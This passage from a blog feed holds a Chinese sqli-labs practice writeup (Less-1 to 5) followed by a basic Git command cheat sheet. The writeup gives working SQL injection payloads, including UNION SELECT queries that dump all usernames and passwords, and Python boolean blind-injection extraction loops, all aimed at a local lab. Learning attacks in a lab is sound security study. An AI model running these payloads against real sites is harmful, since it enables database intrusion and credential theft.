      <![CDATA[<h2 id="环境启动"><a href="#环境启动" class="headerlink" title="环境启动"></a>环境启动</h2><p>参考教程：<a href="https://www.cnblogs.com/LY613313/p/16180127.html">https://www.cnblogs.com/LY613313/p/16180127.html</a></p><ul><li>先打开phpstudy，启动Apache和MySQL服务</li><li>然后打开浏览器输入 <code>127.0.0.1/sqli-labs/</code></li></ul><blockquote><p>注：如果phpstudy安装在本机，就127.0.0.1或者localhost都可以；如果是虚拟机，则输入虚拟机的IP地址。<code>/sqli-labs/</code> 是源码文件夹的命名。</p></blockquote><h2 id="Less-1-联合查询注入-单引号字符型"><a href="#Less-1-联合查询注入-单引号字符型" class="headerlink" title="Less-1 (联合查询注入 - 单引号字符型)"></a>Less-1 (联合查询注入 - 单引号字符型)</h2><h3 id="第一步：注入点发现"><a href="#第一步：注入点发现" class="headerlink" title="第一步：注入点发现"></a>第一步：注入点发现</h3><p><strong>（通用）测试流程</strong>：试探程序如何处理意外的输入</p><blockquote><p><code>?id=1      → 正常显示</code><br>确认id参数有效，获得”基准”（页面的正常状态）<br><code>?id=1&#39;     → 报错(SQL语法错误)</code><br>这说明：参数没有被过滤，参数被直接拼到 SQL 里<br><code>?id=1&#39;--+  → 正常显示</code><br><code>?id=1&#39; and 1=1 --+ → 正常(1=1 永远为真 → 正常返回数据)</code><br><code>?id=1&#39; and 1=2 --+ → 无显示(1=2 永远为假 → 返回空结果集 → 页面&quot;无显示&quot;)</code><br>这说明：参数在 SQL 的 where 条件中生效，且可以注入（参数值被放到了 SQL 的 WHERE 条件中）。  </p></blockquote><p><strong>结论</strong>：参数存在注入，闭合字符为单引号，可用 <code>--+</code> 注释。</p><hr><h3 id="第二步：获取列数"><a href="#第二步：获取列数" class="headerlink" title="第二步：获取列数"></a>第二步：获取列数</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">?id=1&#x27; order by 3 --+  → 正常</span><br><span class="line">?id=1&#x27; order by 4 --+  → 报错</span><br></pre></td></tr></table></figure><p><strong>这说明：查询结果中一共有 3 列</strong></p><hr><h3 id="第三步：找显示位"><a href="#第三步：找显示位" class="headerlink" title="第三步：找显示位"></a>第三步：找显示位</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">?id=111&#x27; union select 1,2,3 --+</span><br></pre></td></tr></table></figure><p>页面输出：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">Your Login name:2 → 说明第2列的数据显示在 Login name 位置</span><br><span class="line">Your Password:3 → 说明第3列的数据显示在 Password 位置</span><br></pre></td></tr></table></figure><p><strong>这说明：可以把恶意查询的结果放在第 2 列或第 3 列，它就会显示在页面上。</strong></p><hr><h3 id="第四步：数据获取"><a href="#第四步：数据获取" class="headerlink" title="第四步：数据获取"></a>第四步：数据获取</h3><p>已知：</p><blockquote><p>第2列 → Login name 位置<br>第3列 → Password 位置<br>可以随意构造 union select … 查询  </p></blockquote><p><strong>1. 查询数据库名</strong></p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">?id<span class="operator">=</span><span class="number">111</span><span class="string">&#x27; union select 1,2,database() --+</span></span><br></pre></td></tr></table></figure><ul><li>当前数据库名：<code>security</code></li></ul><p><strong>2. 查询所有表名</strong></p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">?id<span class="operator">=</span><span class="number">111</span><span class="string">&#x27; union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=&#x27;</span>security<span class="string">&#x27; --+</span></span><br></pre></td></tr></table></figure><ul><li>表名：<code>emails,referers,uagents,users</code></li></ul><p><strong>3. 查询 users 表中的列名</strong></p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">?id<span class="operator">=</span><span class="number">111</span><span class="string">&#x27; union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=&#x27;</span>security<span class="string">&#x27; and table_name=&#x27;</span>users<span class="string">&#x27; --+</span></span><br></pre></td></tr></table></figure><ul><li>列名：<code>id,username,password</code></li></ul><p><strong>4. 查询最终数据</strong></p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">?id<span class="operator">=</span><span class="number">111</span><span class="string">&#x27; union select 1,group_concat(username),group_concat(password) from security.users --+</span></span><br></pre></td></tr></table></figure><ul><li>从 security.users 表中取出所有用户名和密码</li></ul><h2 id="Less-2-联合查询注入-数字型"><a href="#Less-2-联合查询注入-数字型" class="headerlink" title="Less-2 (联合查询注入 - 数字型)"></a>Less-2 (联合查询注入 - 数字型)</h2><h3 id="第一步：注入点发现-1"><a href="#第一步：注入点发现-1" class="headerlink" title="第一步：注入点发现"></a>第一步：注入点发现</h3><blockquote><p><code>?id=1      → 正常显示</code><br><code>?id=1&#39;     → 报错</code>，报错信息中没有显示多出的引号，而是直接在LIMIT 0,1处报错<br><code>?id=1&#39;--+  → 仍然报错</code><br>这说明：<strong>不是字符型，是数字型</strong><br><code>?id=1 and 1=1  → 正常</code><br><code>?id=1 and 1=2  → 无显示</code>  </p></blockquote><blockquote><p>最快速的验证：直接试 <code>?id=1 and 1=2</code> → 无显示，再试 <code>?id=1 and 1=1</code> → 正常。如果成立，就说明是数字型，无需考虑引号。  </p></blockquote><p><strong>结论</strong>：参数存在注入，<strong>数字型</strong>，无需引号闭合，直接构造 SQL 语句即可。</p><p>后续流程类似Less-1。</p><h2 id="Less-3-联合查询注入-单引号-括号字符型"><a href="#Less-3-联合查询注入-单引号-括号字符型" class="headerlink" title="Less-3 (联合查询注入 - 单引号+括号字符型)"></a>Less-3 (联合查询注入 - 单引号+括号字符型)</h2><h3 id="第一步：注入点发现-2"><a href="#第一步：注入点发现-2" class="headerlink" title="第一步：注入点发现"></a>第一步：注入点发现</h3><blockquote><p><code>?id=1      → 正常显示</code><br><code>?id=1&#39;     → 报错</code>，提示 <code>near &#39;&#39;1&#39;&#39;) LIMIT 0,1&#39;</code><br><code>?id=1&#39;) --+  → 正常</code><br><code>?id=1&#39;) and 1=1 --+  → 正常</code><br><code>?id=1&#39;) and 1=2 --+  → 无显示</code>  </p></blockquote><p><strong>结论</strong>：闭合字符为 <code>&#39;)</code>，注释符 <code>--+</code>。</p><p>后续流程类似Less-1。</p><h2 id="Less-4-联合查询注入-双引号-括号字符型"><a href="#Less-4-联合查询注入-双引号-括号字符型" class="headerlink" title="Less-4 (联合查询注入 - 双引号+括号字符型)"></a>Less-4 (联合查询注入 - 双引号+括号字符型)</h2><h3 id="第一步：注入点发现-3"><a href="#第一步：注入点发现-3" class="headerlink" title="第一步：注入点发现"></a>第一步：注入点发现</h3><blockquote><p><code>?id=1 → 正常显示 Dumb/Dumb</code><br><code>?id=1&#39; → **正常**</code>（双引号包裹时，单引号不会破坏语法，MySQL 会将 ‘1’ 转为数字 1）<br><code>?id=1&quot; → **报错**</code>（因为多出的双引号导致括号内字符串提前闭合，语法错误）<br><code>?id=1&quot;) --+ → 恢复正常显示</code><br><code>?id=1&quot;) and 1=1 --+ → 正常</code><br><code>?id=1&quot;) and 1=2 --+ → 无显示</code>  </p></blockquote><p><strong>结论</strong>：闭合字符为 <code>&quot;)</code>，注释符 <code>--+</code>。</p><p>后续流程类似Less-1。</p><h2 id="Less-5-布尔盲注-单引号字符型"><a href="#Less-5-布尔盲注-单引号字符型" class="headerlink" title="Less-5 (布尔盲注 - 单引号字符型)"></a>Less-5 (布尔盲注 - 单引号字符型)</h2><h3 id="第一步：注入点判断"><a href="#第一步：注入点判断" class="headerlink" title="第一步：注入点判断"></a>第一步：注入点判断</h3><blockquote><p><code>?id=1 → 显示 &quot;You are in...&quot;</code><br><code>?id=1&#39; → 报错</code><br><code>?id=1&#39; --+ → 显示 &quot;You are in...&quot;</code><br><code>?id=1&#39; and 1=1 --+ → 显示 &quot;You are in...&quot;</code><br><code>?id=1&#39; and 1=2 --+ → 无显示</code>  </p></blockquote><p><strong>结论</strong>：单引号闭合，页面只有”有内容”和”无内容”两种状态，没有数据回显，使用布尔盲注。</p><h3 id="辅助函数定义"><a href="#辅助函数定义" class="headerlink" title="辅助函数定义"></a>辅助函数定义</h3><ul><li><code>test(condition)</code>：构造 <code>1&#39; and [condition] #</code> 并发送请求，若页面包含 “You are in” 则返回 <code>True</code>，否则 <code>False</code>。</li><li><code>get_data(sql_expr)</code>：利用 <code>test()</code> 自动获取任意 SQL 表达式的值（先探测长度，再逐字符猜解），返回字符串。</li></ul><h3 id="第二步：获取数据库名"><a href="#第二步：获取数据库名" class="headerlink" title="第二步：获取数据库名"></a>第二步：获取数据库名</h3><p>先获取长度，再逐字符猜解</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 长度探测：数据库名长度为 8</span></span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">1</span>, <span class="number">31</span>):</span><br><span class="line">    <span class="keyword">if</span> test(<span class="string">f&quot;length(database()) = <span class="subst">&#123;i&#125;</span>&quot;</span>):</span><br><span class="line">        db_len = i</span><br><span class="line">        <span class="keyword">break</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 逐字符获取数据库名，遍历可打印 ASCII 码 32~126</span></span><br><span class="line">db_name = <span class="string">&quot;&quot;</span></span><br><span class="line"><span class="keyword">for</span> pos <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">1</span>, db_len+<span class="number">1</span>):</span><br><span class="line">    <span class="keyword">for</span> code <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">32</span>, <span class="number">127</span>):</span><br><span class="line">        <span class="comment"># 判断当前字符的 ASCII 码是否等于 code</span></span><br><span class="line">        <span class="keyword">if</span> test(<span class="string">f&quot;ascii(substr(database(),<span class="subst">&#123;pos&#125;</span>,1)) = <span class="subst">&#123;code&#125;</span>&quot;</span>):</span><br><span class="line">            db_name += <span class="built_in">chr</span>(code)</span><br><span class="line">            <span class="keyword">break</span></span><br><span class="line"><span class="built_in">print</span>(<span class="string">f&quot;Database: <span class="subst">&#123;db_name&#125;</span>&quot;</span>)   <span class="comment"># 输出 security</span></span><br></pre></td></tr></table></figure><h3 id="第三步：获取所有表名"><a href="#第三步：获取所有表名" class="headerlink" title="第三步：获取所有表名"></a>第三步：获取所有表名</h3><p>利用 <code>information_schema.tables</code> 和 <code>limit</code>。</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 统计表数量</span></span><br><span class="line">count = <span class="built_in">int</span>(get_data(<span class="string">&quot;select count(*) from information_schema.tables where table_schema=database()&quot;</span>))</span><br><span class="line"><span class="built_in">print</span>(<span class="string">f&quot;[+] Found <span class="subst">&#123;count&#125;</span> tables&quot;</span>)</span><br><span class="line"></span><br><span class="line">tables = []</span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(count):</span><br><span class="line">    <span class="comment"># 使用 limit i,1 依次获取第 i 个表名</span></span><br><span class="line">    tbl = get_data(<span class="string">f&quot;select table_name from information_schema.tables where table_schema=database() limit <span class="subst">&#123;i&#125;</span>,1&quot;</span>)</span><br><span class="line">    tables.append(tbl)</span><br><span class="line">    <span class="built_in">print</span>(<span class="string">f&quot;  Table <span class="subst">&#123;i+<span class="number">1</span>&#125;</span>: <span class="subst">&#123;tbl&#125;</span>&quot;</span>)   <span class="comment"># emails, referers, uagents, users</span></span><br></pre></td></tr></table></figure><h3 id="第四步：获取-users-表的列名"><a href="#第四步：获取-users-表的列名" class="headerlink" title="第四步：获取 users 表的列名"></a>第四步：获取 users 表的列名</h3><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 统计列数</span></span><br><span class="line">col_count = <span class="built_in">int</span>(get_data(<span class="string">&quot;select count(*) from information_schema.columns where table_schema=database() and table_name=&#x27;users&#x27;&quot;</span>))</span><br><span class="line"><span class="built_in">print</span>(<span class="string">f&quot;[+] &#x27;users&#x27; table has <span class="subst">&#123;col_count&#125;</span> columns&quot;</span>)</span><br><span class="line"></span><br><span class="line">columns = []</span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(col_count):</span><br><span class="line">    col = get_data(<span class="string">f&quot;select column_name from information_schema.columns where table_schema=database() and table_name=&#x27;users&#x27; limit <span class="subst">&#123;i&#125;</span>,1&quot;</span>)</span><br><span class="line">    columns.append(col)</span><br><span class="line">    <span class="built_in">print</span>(<span class="string">f&quot;  Column <span class="subst">&#123;i+<span class="number">1</span>&#125;</span>: <span class="subst">&#123;col&#125;</span>&quot;</span>)   <span class="comment"># id, username, password</span></span><br></pre></td></tr></table></figure><h3 id="第五步：获取数据"><a href="#第五步：获取数据" class="headerlink" title="第五步：获取数据"></a>第五步：获取数据</h3><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 统计行数</span></span><br><span class="line">row_count = <span class="built_in">int</span>(get_data(<span class="string">&quot;select count(*) from users&quot;</span>))</span><br><span class="line"><span class="built_in">print</span>(<span class="string">f&quot;[+] &#x27;users&#x27; table has <span class="subst">&#123;row_count&#125;</span> rows&quot;</span>)</span><br><span class="line"></span><br><span class="line"><span class="comment"># 逐行提取用户名和密码</span></span><br><span class="line"><span class="keyword">for</span> r <span class="keyword">in</span> <span class="built_in">range</span>(row_count):</span><br><span class="line">    username = get_data(<span class="string">f&quot;select username from users limit <span class="subst">&#123;r&#125;</span>,1&quot;</span>)</span><br><span class="line">    password = get_data(<span class="string">f&quot;select password from users limit <span class="subst">&#123;r&#125;</span>,1&quot;</span>)</span><br><span class="line">    <span class="built_in">print</span>(<span class="string">f&quot;  <span class="subst">&#123;username&#125;</span> : <span class="subst">&#123;password&#125;</span>&quot;</span>)</span><br></pre></td></tr></table></figure>]]>
    </content>
    <id>https://gu-007.github.io/posts/sqli-labs-writeup.html</id>
    <link href="https://gu-007.github.io/posts/sqli-labs-writeup.html"/>
    <published>2026-05-04T16:00:00.000Z</published>
    <summary>sqli-labs 靶场通关笔记，涵盖 Less-1 到 Less-5，包括联合查询注入（字符型、数字型、括号闭合）和布尔盲注的详细步骤</summary>
    <title>sqli-labs Writeup (Less-1~5)</title>
    <updated>2026-06-27T03:52:12.611Z</updated>
  </entry>
  <entry>
    <author>
      <name>Maple(G7)</name>
    </author>
    <category term="工具教程" scheme="https://gu-007.github.io/categories/tools/"/>
    <category term="Git" scheme="https://gu-007.github.io/tags/Git/"/>
    <content>
      <![CDATA[<p><strong>命令行工具选择</strong>：<br>在Windows上，可使用 <strong>Git Bash</strong> 以避免路径和环境变量问题。<br>注意在Git Bash中，<strong>磁盘路径应写为 <code>/d/MyProject/</code> 形式，而非 <code>D:\MyProject\</code>。</strong></p><h3 id="克隆远程仓库"><a href="#克隆远程仓库" class="headerlink" title="克隆远程仓库"></a>克隆远程仓库</h3><ol><li>在电脑上选取（新建）一个用于存放该仓库内容的文件夹，打开</li><li>在此处打开终端</li><li>执行克隆命令： <code>git clone 仓库的网址</code>，这会在当前文件夹下创建一个与仓库同名的文件夹</li></ol><h3 id="提交并推送本地更改"><a href="#提交并推送本地更改" class="headerlink" title="提交并推送本地更改"></a>提交并推送本地更改</h3><ol><li>添加更改：<code>git add 文件名</code>  <ul><li>添加当前目录及所有子目录下的所有更改（新增、修改、删除）：<code>git add .</code>  <blockquote><p><strong>说明</strong>：<code>git add .</code> 会递归处理子文件夹，不是仅限当前文件夹一层。<br>如果只想添加当前文件夹下的文件（不包含子文件夹），需使用路径限制，如 <code>git add *.txt</code>。</p></blockquote></li></ul></li><li>提交更改：<code>git commit -m &quot;对本次更改的注明&quot;</code></li><li>推送上线：<code>git push origin main</code>(<code>origin</code> 是远程仓库的默认别名，<code>main</code> 是分支名)</li></ol><p>注：<br><strong>工作区与暂存区</strong>：工作区即本地文件夹；<code>git add</code> 将更改存入暂存区；<code>git commit</code> 将暂存区内容提交到本地仓库。</p><h3 id="查看状态与历史"><a href="#查看状态与历史" class="headerlink" title="查看状态与历史"></a>查看状态与历史</h3><ol><li><code>git status</code>：查看工作区和暂存区的文件状态（哪些修改了、哪些已暂存）。</li><li><code>git log</code>：查看详细的提交历史，按时间倒序排列。<ul><li><code>git log --oneline</code>：查看简洁版的提交历史（仅显示提交哈希和说明）。</li><li><code>git log --graph</code>：以图表形式查看分支合并历史。</li></ul></li></ol><h3 id="同步远程更改"><a href="#同步远程更改" class="headerlink" title="同步远程更改"></a>同步远程更改</h3><ul><li><code>git pull origin main</code>：用于从远程仓库<code>origin</code>的<code>main</code>分支拉取最新更新并合并到本地当前分支。（如果遇到冲突，需要手动解决）<strong>这是开始本地工作前的推荐习惯</strong></li></ul><h3 id="分支基础操作"><a href="#分支基础操作" class="headerlink" title="分支基础操作"></a>分支基础操作</h3><ol><li><code>git branch</code>：查看所有本地分支（当前分支前会有 <code>*</code> 号标记）</li><li><code>git checkout -b 新分支名</code>：创建并切换到一个新分支。尝试重大改动时使用，不影响主分支。</li><li><code>git checkout 分支名</code>：切换到已存在的分支。</li><li><code>git branch -d 分支名</code>：删除已合并的分支。</li></ol><hr><h5 id="修改记录"><a href="#修改记录" class="headerlink" title="修改记录"></a>修改记录</h5><ul><li>2026-05-07：修正 <code>git add .</code> 的说明，明确其递归添加子目录；新增 Git Bash 路径写法、<code>git pull</code>、分支切换&#x2F;删除及工作区注释。</li></ul>]]>
    </content>
    <id>https://gu-007.github.io/posts/git-instructions.html</id>
    <link href="https://gu-007.github.io/posts/git-instructions.html"/>
    <published>2026-04-29T16:00:00.000Z</published>
    <summary>Git常用命令汇总，包括克隆、提交、推送、分支操作等基础指令</summary>
    <title>Git指令汇总</title>
    <updated>2026-05-06T16:00:00.000Z</updated>
  </entry>
</feed>
